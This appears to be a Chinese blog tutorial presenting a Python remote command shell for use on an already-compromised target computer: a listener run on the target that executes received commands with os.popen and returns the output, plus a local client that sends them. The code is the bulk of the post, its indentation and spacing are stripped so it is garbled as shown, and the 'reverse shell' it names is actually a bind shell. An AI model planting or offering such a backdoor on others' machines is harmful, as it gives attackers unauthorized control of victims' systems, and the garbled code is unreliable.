python模拟菜刀反弹shell绕过限制【推荐】
有的时候我们在获取到目标电脑时候如果对方电脑又python编译环境时可以利用python反弹shell
主要用到pythonos库和sokect库
这里的服务端在目标机上运行
fromsocketimport*
fromosimport*
s=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
whileTrue:
sock,addr=s.accept()#返回两次第一次返回连接地址二端口号
print('客户端:',addr)
whileTrue:
cmd=sock.recv(1024)#缓存长度接收传递过来
cmdstr=cmd.decode()
ifcmdstr=='exit':
print('客户端:',addr,'关闭')
sock.close()
break
result=popen(cmdstr).read()
sock.send(result.encode())
s.close()
本机运行
fromsocketimport*
fromosimport*
c=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议
c.connect(('127.0.0.1',6666))#连接地址
whileTrue:
cmd=input("cmd:")
c.send(cmd.encode())#必须传递流
ifcmd=='exit':
c.close()
break
data=c.recv(1014)
print(data.decode())
总结
以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!
热门推荐
10 八一幼儿祝福语大全简短
11 公司乔迁食堂祝福语简短
12 婚礼结束聚餐祝福语简短
13 儿媳买车妈妈祝福语简短
14 毕业送礼老师祝福语简短
15 同事辞职正常祝福语简短
16 恭贺新婚文案祝福语简短
17 金店立秋祝福语简短英文
18 婆婆高寿祝福语大全简短